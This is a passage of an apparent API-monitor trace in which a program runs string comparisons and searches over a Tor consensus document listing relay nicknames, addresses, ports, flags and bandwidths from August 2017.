_Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.878] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.878] strstr (_Str="r itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2", _SubStr="\nr ") returned="\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir 